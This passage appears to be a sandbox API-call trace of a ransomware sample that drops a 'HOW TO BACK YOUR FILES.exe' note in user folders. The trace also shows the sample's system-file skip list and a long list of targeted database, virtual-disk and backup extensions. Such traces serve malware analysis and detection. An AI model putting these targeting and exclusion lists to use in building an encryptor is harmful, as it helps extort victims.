(lpString1=".", lpString2=".") returned 0 [0053.875] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbd1a3a40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd1a3a40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.875] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.875] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.875] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0053.875] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0053.875] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd1a3a40, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbd1a3a40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0053.875] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0053.875] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd1a3a40, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbd1a3a40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0053.875] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0053.875] ReleaseMutex (hMutex=0xec) returned 1 [0053.875] CloseHandle (hObject=0xec) returned 1 [0053.875] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Default\\Recent" | out: lpString1="C:\\Documents and Settings\\Default\\Recent") returned="C:\\Documents and Settings\\Default\\Recent" [0053.875] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528a70 | out: hHeap=0x4f0000) returned 1 [0053.875] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52cc48 | out: hHeap=0x4f0000) returned 1 [0053.875] lstrlenW (lpString="C:\\Documents and Settings\\Default\\Recent") returned 40 [0053.876] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\0039E3BFE69C2602C01633DE76B43307") returned 0xec [0053.876] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0053.876] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Default\\Recent" | out: lpString1="C:\\Documents and Settings\\Default\\Recent") returned="C:\\Documents and Settings\\Default\\Recent" [0053.876] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0053.876] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Recent\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\recent\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.876] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\Recent\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\recent\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0053.876] GetLastError () returned 0x0 [0053.876] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0053.876] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x534d08 [0053.876] ReadFile (in: hFile=0xf4, lpBuffer=0x534d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x534d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0053.877] CloseHandle (hObject=0xf4) returned 1 [0053.877] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d08 | out: hHeap=0x4f0000) returned 1 [0053.877] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0053.877] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Default\\Recent\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbd1c9ba0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd1c9ba0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0053.878] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.878] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.878] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0053.878] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbd1c9ba0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd1c9ba0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.878] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.878] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.878] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0053.878] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0053.878] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6404e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x125b3d0, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AutomaticDestinations", cAlternateFileName="AUTOMA~1")) returned 1 [0053.878] lstrcmpiW (lpString1="AutomaticDestinations", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.878] lstrcmpiW (lpString1="AutomaticDestinations", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.878] lstrcmpiW (lpString1="AutomaticDestinations", lpString2=".") returned 1 [0053.878] lstrcmpiW (lpString1="AutomaticDestinations", lpString2="..") returned 1 [0053.878] lstrcmpiW (lpString1="AutomaticDestinations", lpString2="windows") returned -1 [0053.878] lstrcmpiW (lpString1="AutomaticDestinations", lpString2="bootmgr") returned -1 [0053.878] lstrcmpiW (lpString1="AutomaticDestinations", lpString2="temp") returned -1 [0053.878] lstrcmpiW (lpString1="AutomaticDestinations", lpString2="pagefile.sys") returned -1 [0053.878] lstrcmpiW (lpString1="AutomaticDestinations", lpString2="boot") returned -1 [0053.878] lstrcmpiW (lpString1="AutomaticDestinations", lpString2="ids.txt") returned -1 [0053.878] lstrcmpiW (lpString1="AutomaticDestinations", lpString2="ntuser.dat") returned -1 [0053.878] lstrcmpiW (lpString1="AutomaticDestinations", lpString2="perflogs") returned -1 [0053.878] lstrcmpiW (lpString1="AutomaticDestinations", lpString2="MSBuild") returned -1 [0053.878] lstrlenW (lpString="AutomaticDestinations") returned 21 [0053.878] lstrcpyW (in: lpString1=0x241e89a, lpString2="AutomaticDestinations" | out: lpString1="AutomaticDestinations") returned="AutomaticDestinations" [0053.878] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52cc48 [0053.878] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7e) returned 0x519998 [0053.878] lstrcatW (in: lpString1="AutomaticDestinations", lpString2="\\" | out: lpString1="AutomaticDestinations\\") returned="AutomaticDestinations\\" [0053.879] lstrcatW (in: lpString1="AutomaticDestinations\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="AutomaticDestinations\\HOW TO BACK YOUR FILES.exe") returned="AutomaticDestinations\\HOW TO BACK YOUR FILES.exe" [0053.879] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Recent\\AutomaticDestinations\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\recent\\automaticdestinations\\how to back your files.exe"), bFailIfExists=1) returned 1 [0053.881] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6404e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x15c7376, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CustomDestinations", cAlternateFileName="CUSTOM~1")) returned 1 [0053.881] lstrcmpiW (lpString1="CustomDestinations", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.881] lstrcmpiW (lpString1="CustomDestinations", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.881] lstrcmpiW (lpString1="CustomDestinations", lpString2=".") returned 1 [0053.881] lstrcmpiW (lpString1="CustomDestinations", lpString2="..") returned 1 [0053.881] lstrcmpiW (lpString1="CustomDestinations", lpString2="windows") returned -1 [0053.881] lstrcmpiW (lpString1="CustomDestinations", lpString2="bootmgr") returned 1 [0053.881] lstrcmpiW (lpString1="CustomDestinations", lpString2="temp") returned -1 [0053.881] lstrcmpiW (lpString1="CustomDestinations", lpString2="pagefile.sys") returned -1 [0053.881] lstrcmpiW (lpString1="CustomDestinations", lpString2="boot") returned 1 [0053.881] lstrcmpiW (lpString1="CustomDestinations", lpString2="ids.txt") returned -1 [0053.881] lstrcmpiW (lpString1="CustomDestinations", lpString2="ntuser.dat") returned -1 [0053.881] lstrcmpiW (lpString1="CustomDestinations", lpString2="perflogs") returned -1 [0053.881] lstrcmpiW (lpString1="CustomDestinations", lpString2="MSBuild") returned -1 [0053.881] lstrlenW (lpString="CustomDestinations") returned 18 [0053.881] lstrcpyW (in: lpString1=0x241e89a, lpString2="CustomDestinations" | out: lpString1="CustomDestinations") returned="CustomDestinations" [0053.881] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52cc30 [0053.881] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x78) returned 0x502628 [0053.881] lstrcatW (in: lpString1="CustomDestinations", lpString2="\\" | out: lpString1="CustomDestinations\\") returned="CustomDestinations\\" [0053.881] lstrcatW (in: lpString1="CustomDestinations\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="CustomDestinations\\HOW TO BACK YOUR FILES.exe") returned="CustomDestinations\\HOW TO BACK YOUR FILES.exe" [0053.881] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Recent\\CustomDestinations\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\recent\\customdestinations\\how to back your files.exe"), bFailIfExists=1) returned 1 [0053.885] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6404e40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6404e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88b51cb, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1b0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0053.885] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.885] lstrcmpiW (lpString1="desktop.ini", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.885] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1 [0053.885] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1 [0053.885] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1 [0053.885] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1 [0053.885] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1 [0053.885] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1 [0053.885] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1 [0053.885] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1 [0053.885] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1 [0053.885] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1 [0053.885] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1 [0053.886] lstrlenW (lpString="desktop.ini") returned 11 [0053.886] lstrcpyW (in: lpString1=0x241e89a, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini" [0053.886] lstrlenW (lpString="desktop.ini") returned 11 [0053.886] lstrlenW (lpString="Athena865") returned 9 [0053.886] lstrcmpiW (lpString1="sktop.ini", lpString2="Athena865") returned 1 [0053.886] lstrlenW (lpString=".dll") returned 4 [0053.886] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1 [0053.886] lstrlenW (lpString=".lnk") returned 4 [0053.886] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1 [0053.886] lstrlenW (lpString=".ini") returned 4 [0053.886] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1 [0053.886] lstrlenW (lpString=".sys") returned 4 [0053.886] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1 [0053.886] lstrlenW (lpString="desktop.ini") returned 11 [0053.886] lstrlenW (lpString="bak") returned 3 [0053.886] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1 [0053.886] lstrlenW (lpString="ba_") returned 3 [0053.886] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1 [0053.886] lstrlenW (lpString="dbb") returned 3 [0053.886] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1 [0053.886] lstrlenW (lpString="vmdk") returned 4 [0053.886] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1 [0053.886] lstrlenW (lpString="rar") returned 3 [0053.886] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1 [0053.886] lstrlenW (lpString="zip") returned 3 [0053.886] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1 [0053.886] lstrlenW (lpString="tgz") returned 3 [0053.886] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1 [0053.886] lstrlenW (lpString="vbox") returned 4 [0053.886] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1 [0053.886] lstrlenW (lpString="vdi") returned 3 [0053.886] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1 [0053.886] lstrlenW (lpString="vhd") returned 3 [0053.886] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1 [0053.887] lstrlenW (lpString="vhdx") returned 4 [0053.887] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1 [0053.887] lstrlenW (lpString="avhd") returned 4 [0053.887] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1 [0053.887] lstrlenW (lpString="db") returned 2 [0053.887] lstrcmpiW (lpString1="ni", lpString2="db") returned 1 [0053.887] lstrlenW (lpString="db2") returned 3 [0053.887] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1 [0053.887] lstrlenW (lpString="db3") returned 3 [0053.887] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1 [0053.887] lstrlenW (lpString="dbf") returned 3 [0053.887] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1 [0053.887] lstrlenW (lpString="mdf") returned 3 [0053.887] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1 [0053.887] lstrlenW (lpString="mdb") returned 3 [0053.887] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1 [0053.887] lstrlenW (lpString="sql") returned 3 [0053.887] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1 [0053.887] lstrlenW (lpString="sqlite") returned 6 [0053.887] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1 [0053.887] lstrlenW (lpString="sqlite3") returned 7 [0053.887] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1 [0053.887] lstrlenW (lpString="sqlitedb") returned 8 [0053.887] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1 [0053.887] lstrlenW (lpString="xml") returned 3 [0053.887] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1 [0053.887] lstrlenW (lpString="$er") returned 3 [0053.887] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1 [0053.887] lstrlenW (lpString="4dd") returned 3 [0053.887] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1 [0053.887] lstrlenW (lpString="4dl") returned 3 [0053.887] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1 [0053.887] lstrlenW (lpString="^^^") returned 3 [0053.887] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1 [0053.888] lstrlenW (lpString="abs") returned 3 [0053.888] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1 [0053.888] lstrlenW (lpString="abx") returned 3 [0053.888] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1 [0053.888] lstrlenW (lpString="accdb") returned 5 [0053.888] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1 [0053.888] lstrlenW (lpString="accdc") returned 5 [0053.888] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1 [0053.888] lstrlenW (lpString="accde") returned 5 [0053.888] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1 [0053.888] lstrlenW (lpString="accdr") returned 5 [0053.888] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1 [0053.888] lstrlenW (lpString="accdt") returned 5 [0053.888] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1 [0053.888] lstrlenW (lpString="accdw") returned 5 [0053.888] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1 [0053.888] lstrlenW (lpString="accft") returned 5 [0053.888] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1 [0053.888] lstrlenW (lpString="adb") returned 3 [0053.888] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0053.888] lstrlenW (lpString="adb") returned 3 [0053.888] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0053.888] lstrlenW (lpString="ade") returned 3 [0053.888] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1 [0053.888] lstrlenW (lpString="adf") returned 3 [0053.888] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1 [0053.888] lstrlenW (lpString="adn") returned 3 [0053.888] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1 [0053.888] lstrlenW (lpString="adp") returned 3 [0053.888] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1 [0053.888] lstrlenW (lpString="alf") returned 3 [0053.888] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1 [0053.889] lstrlenW (lpString="ask") returned 3 [0053.889] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1 [0053.889] lstrlenW (lpString="btr") returned 3 [0053.889] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1 [0053.889] lstrlenW (lpString="cat") returned 3 [0053.889] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1 [0053.889] lstrlenW (lpString="cdb") returned 3 [0053.889] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1 [0053.889] lstrlenW (lpString="ckp") returned 3 [0053.889] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1 [0053.889] lstrlenW (lpString="cma") returned 3 [0053.889] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1 [0053.889] lstrlenW (lpString="cpd") returned 3 [0053.889] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1 [0053.889] lstrlenW (lpString="dacpac") returned 6 [0053.889] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1 [0053.889] lstrlenW (lpString="dad") returned 3 [0053.889] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1 [0053.889] lstrlenW (lpString="dadiagrams") returned 10 [0053.889] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1 [0053.889] lstrlenW (lpString="daschema") returned 8 [0053.889] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1 [0053.889] lstrlenW (lpString="db-journal") returned 10 [0053.889] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1 [0053.889] lstrlenW (lpString="db-shm") returned 6 [0053.889] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1 [0053.889] lstrlenW (lpString="db-wal") returned 6 [0053.889] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1 [0053.889] lstrlenW (lpString="dbc") returned 3 [0053.889] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1 [0053.889] lstrlenW (lpString="dbs") returned 3 [0053.889] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1 [0053.890] lstrlenW (lpString="dbt") returned 3 [0053.890] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1 [0053.890] lstrlenW (lpString="dbv") returned 3 [0053.890] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1 [0053.890] lstrlenW (lpString="dbx") returned 3 [0053.890] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1 [0053.890] lstrlenW (lpString="dcb") returned 3 [0053.890] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1 [0053.890] lstrlenW (lpString="dct") returned 3 [0053.890] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1 [0053.890] lstrlenW (lpString="dcx") returned 3 [0053.890] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1 [0053.890] lstrlenW (lpString="ddl") returned 3 [0053.890] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1 [0053.890] lstrlenW (lpString="dlis") returned 4 [0053.890] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1 [0053.890] lstrlenW (lpString="dp1") returned 3 [0053.890] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1 [0053.890] lstrlenW (lpString="dqy") returned 3 [0053.890] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1 [0053.890] lstrlenW (lpString="dsk") returned 3 [0053.890] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1 [0053.890] lstrlenW (lpString="dsn") returned 3 [0053.890] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1 [0053.890] lstrlenW (lpString="dtsx") returned 4 [0053.890] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1 [0053.890] lstrlenW (lpString="dxl") returned 3 [0053.890] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1 [0053.890] lstrlenW (lpString="eco") returned 3 [0053.890] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1 [0053.890] lstrlenW (lpString="ecx") returned 3 [0053.890] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1 [0053.891] lstrlenW (lpString="edb") returned 3 [0053.891] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1 [0053.891] lstrlenW (lpString="epim") returned 4 [0053.891] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1 [0053.891] lstrlenW (lpString="fcd") returned 3 [0053.891] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1 [0053.891] lstrlenW (lpString="fdb") returned 3 [0053.891] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1 [0053.891] lstrlenW (lpString="fic") returned 3 [0053.891] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1 [0053.891] lstrlenW (lpString="flexolibrary") returned 12 [0053.891] lstrlenW (lpString="fm5") returned 3 [0053.891] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1 [0053.891] lstrlenW (lpString="fmp") returned 3 [0053.891] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1 [0053.891] lstrlenW (lpString="fmp12") returned 5 [0053.891] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1 [0053.891] lstrlenW (lpString="fmpsl") returned 5 [0053.891] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1 [0053.891] lstrlenW (lpString="fol") returned 3 [0053.891] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1 [0053.891] lstrlenW (lpString="fp3") returned 3 [0053.891] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1 [0053.891] lstrlenW (lpString="fp4") returned 3 [0053.891] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1 [0053.891] lstrlenW (lpString="fp5") returned 3 [0053.891] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1 [0053.891] lstrlenW (lpString="fp7") returned 3 [0053.891] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1 [0053.891] lstrlenW (lpString="fpt") returned 3 [0053.891] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1 [0053.891] lstrlenW (lpString="frm") returned 3 [0053.891] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1 [0053.892] lstrlenW (lpString="gdb") returned 3 [0053.892] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0053.892] lstrlenW (lpString="gdb") returned 3 [0053.892] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0053.892] lstrlenW (lpString="grdb") returned 4 [0053.892] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1 [0053.892] lstrlenW (lpString="gwi") returned 3 [0053.892] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1 [0053.892] lstrlenW (lpString="hdb") returned 3 [0053.892] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1 [0053.892] lstrlenW (lpString="his") returned 3 [0053.892] lstrcmpiW (lpString1="ini", lpString2="his") returned 1 [0053.892] lstrlenW (lpString="ib") returned 2 [0053.892] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1 [0053.892] lstrlenW (lpString="idb") returned 3 [0053.892] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1 [0053.892] lstrlenW (lpString="ihx") returned 3 [0053.892] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1 [0053.892] lstrlenW (lpString="itdb") returned 4 [0053.892] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1 [0053.892] lstrlenW (lpString="itw") returned 3 [0053.892] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1 [0053.892] lstrlenW (lpString="jet") returned 3 [0053.892] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1 [0053.892] lstrlenW (lpString="jtx") returned 3 [0053.892] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1 [0053.892] lstrlenW (lpString="kdb") returned 3 [0053.892] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1 [0053.892] lstrlenW (lpString="kexi") returned 4 [0053.892] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1 [0053.892] lstrlenW (lpString="kexic") returned 5 [0053.892] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1 [0053.893] lstrlenW (lpString="kexis") returned 5 [0053.893] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1 [0053.893] 